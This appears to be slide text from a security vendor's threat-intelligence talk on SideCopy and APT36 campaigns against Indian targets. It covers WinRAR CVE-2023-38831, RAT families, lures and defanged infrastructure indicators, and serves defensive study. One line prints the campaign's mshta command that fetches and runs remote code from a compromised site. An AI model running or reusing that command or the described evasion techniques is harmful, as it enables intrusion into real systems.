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• Threat Hunting (APTs)

• Malware Analysis

• Darkweb Intelligence

• Offensive Security

• C-DAC, Govt. of India

• AVAR, Botconf, c0c0n
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WinRAR CVE-2023-38831
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• Unknown zero-day

• Logical bug < WinRAR 6.23

• CVSS Score – 7.8

• Execute arbitrary code

• Whitespace Extension

CVE-2023-38831
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• Extracted to TEMP directory

• ShellExecuteExW()

• PathUnquoteSpacesW()

CVE-2023-38831
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Weaponization by APTs

April

GuLoader

Aug

APT40
UAC-0099

Ghostwriter
SturgeonPhisher

 OctJuly

DarkCasino

Sept Nov

2023
Konni

APT28
APT29

Sandworm

APT28
DarkPink
SideCopy

SkeletonWolf
                           

APT28
Mysterious Werewolf

 Jan-Feb

SideWinder

March April

PhantomCore

Flying Yeti
Gamaredon

2024Patch
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APT SideCopy

Cluster-1
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Cluster-1 : Exploit leads to AllaKore RAT 
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Cluster-1 : LNK to HTA
hxxps://www.rockwellroyalhomes.com/js/FL/DocScanner-Oct.zip

C:\Windows\System32\mshta.exe hxxps://www.rockwellroyalhomes.com/js/content/ & mshta.exe
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Cluster-1 : DRat

d:\Projects\C#\D-Rat\DRat Client\Tenure\obj\Release\MSEclipse.pdb

getInformatica sup fdl fdlConfirm

Kaamindina close fup enterPath

driveList del sup/fupexec backPath

13 commands for C2

AllaKore 9828

DRat 61101

Same C2 but different ports
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Cluster-1 : Linux
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Linux Stager

• Go-based ELF

• Crontab Persistence

• /.local/share/

1. Decoy

2. Ares RAT
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Correlation-1
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Correlation-1 : Similar Linux Stager used by APT36

PyInstaller

Golang Poseidon (Mythic Agent)

Uptycs

Desktop Entry

Golang Poseidon (Mythic Agent)

Zscaler
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Poseidon in 2024 (June to August)

• fikumatry@gmail.com

• fitfalcon0900@gmail.com
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Ares RAT

• Open-Source

• PyInstaller ELF

1. config.pyc

2. agent.pyc

• Username: lee

• Naming
1. bossupdate

2. bosshelp

3. bossstart

4. bosstype
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Ares RAT and decoy

upload

download

zip

cd

screenshot

python

persist

clean

exit

crack

listall

help

<command>

13 commands for C2
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Cluster-1 : Overview
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Cluster-2
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Cluster-2
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Cluster-2 : Infection

• Same naming across OS

• Same decoy – NSRO

• Whitespace usage since Aug

Homosexuality – Indian Armed Forces ․pdf 2023-10-24

Unit Training Program ․pdf 2023-09-20

Social Media Usage ․pptx 2023-08-30
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Cluster-2 : Action and Double Action

• DLL Sideloading with Persistence – Action RAT (Delphi)

1. Credential Wizard – credwiz.exe

2. EFS REKEY Wizard – rekeywiz.exe

• FetaRAT – memory-based HTA

23

• Double Action RAT 

1. Downloaded via PowerShell

2. Filetype Enumeration
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Cluster-3
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Ares RAT lures in 2024
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Cluster-4
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Cluster-4 : Three Campaigns in Q1 2024

Decrypted AllaKore Commands

SocketMain PING

Info PONG

OK Folder

DownloadFile Files

UploadFile Close
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Dual AllaKore RAT

• Open-Source Remote Agent

• Additional File Operations
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Cluster-4 : Grant of Allowances
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Enter APT36

• Transparent Tribe
o Parent of SideCopy

• Target: Linux and Windows

• Low VT detection rate

• Packers
o .NET Reactor

o ConfuserEx

o Crypto Obfuscator

o Eazfuscator
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VBA Macro
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Variants of Crimson RAT

• h
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APT36 lures related to Significant Events

• Filing of Income Tax Return

• Indian General Elections
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Correlation-2

• .NET Reactor packed payloads uses juichangchi[.]online as C2 – resolved to four IPs
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AllaKore RAT and a bonus Keylogger!

Similar to SideCopy
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Cluster-5
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Cluster-5 : The Hunt
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Correlation-3 : Open Directories

Education Portals

reviewassignment.in May SideCopy

campusportals.in July SideCopy & APT36

educationportals.in August SideCopy

38



Confidential

Cluster-5
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Links to Pakistan

1. Testing of HTA stagers at PK geo-location

2. Exfiltration message in PK's most popular language

3. Victim traffic redirected via Germany through IPsec (Team Cymru)

4. Misleading error handling messages: "Error updating Kavach Repository"
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Cluster-5 : HTA-stagers FUD

• Custom alphabet decode

• XOR-based decryption

• String reversal 1/2/5

• Caesar cipher shift

• Embedded DLL

• WMI and VBScript

• Dynamic Invoke
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• Windows-version based HTA stagers

• Browser stealing code of Async RAT – 30 commands

Cluster-5 : HTA-based RATs
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Decoys from first two #opendir
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Decoys from last #opendir – also point to Education
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APT36 targeted University Students since 2022
July 2024
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Cluster-6

46



Confidential

Cluster-6 : More Open Directories
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Cluster-6
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Cluster-6 : Lures
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Sweet Correlations
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Threat Hunting

Hunting LNK

• Static

• Behavior - MSHTA

desktop-osi6rre

desktop-g1i8n3f

desktop-j6llo2k

desktop-bdeb1nb

desktop-g4b6mh4

desktop-87p7en5

desktop-ey8nc5b

Hunting Infrastructure

• Open directories on LiteSpeed Server

• C2 located in Germany under Contabo GmBH

38.242.149[.]89 vmi1433024.contaboserver.net AllaKore RAT and DRat

207.180.192[.]77 vmi747785.contaboserver.net Key RAT

38.242.220[.]166 vmi1390334.contaboserver.net Ares RAT

161.97.151[.]220 vmi1370228.contaboserver.net Ares RAT

164.68.102[.]44 vmi1701584.contaboserver.net AllaKore RAT

213.136.94[.]11 vmi1761221.contaboserver.net AllaKore RAT

144.126.143[.]138 vmi1264250.contaboserver.net Action RAT

209.126.7[.]8 vmi1293957.contaboserver.net Action RAT
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Compromised Domains

103.76.213[.]95 rockwellroyalhomes[.]com
isometricsindia[.]co.in

October 2023
August 2023

162.241.85[.]104 ssynergy[.]in
elfinindia[.]com
occoman[.]com
sunfireglobal[.]in
masterrealtors[.]in
smokeworld[.]in

April 2023
May 2023
August 2023
October 2023
November 2023
March 2024

151.106.97[.]183 ivinfotech[.]com
inniaromas[.]com
revivelife[.]in
vparking[.]online

November 2023
November 2023
March 2024
April 2024

84.32.84[.]41
160.153.131[.]201

springfielduniversity[.]info
ddbl[.]co.uk

April 2024

67.223.118[.]135 reviewassignment[.]in / online May 2024

162.0.209[.]114
151.106.117[.]91
192.64.117[.]203

utkalsevasamitikanjurmarg[.]in
dipl[.]site
campusportals[.]in

June 2024

198.54.115[.]184 educationportals[.]in August 2024
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Takeaways

• Pakistan APTs increased focus on India

• Using 0-days and open-source tooling

• Parallel targeting of both Windows & Linux

• Overlapping code and infrastructure

• Utilizing ongoing events to lure victims

• Targeting university students for recruitment

• Tracking and Hunting such APT campaigns

• New APTs focusing on Android as well
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Innovate. Simplify. Secure.

www.quickheal.com   |   www.seqrite.comConfidential

Thank You
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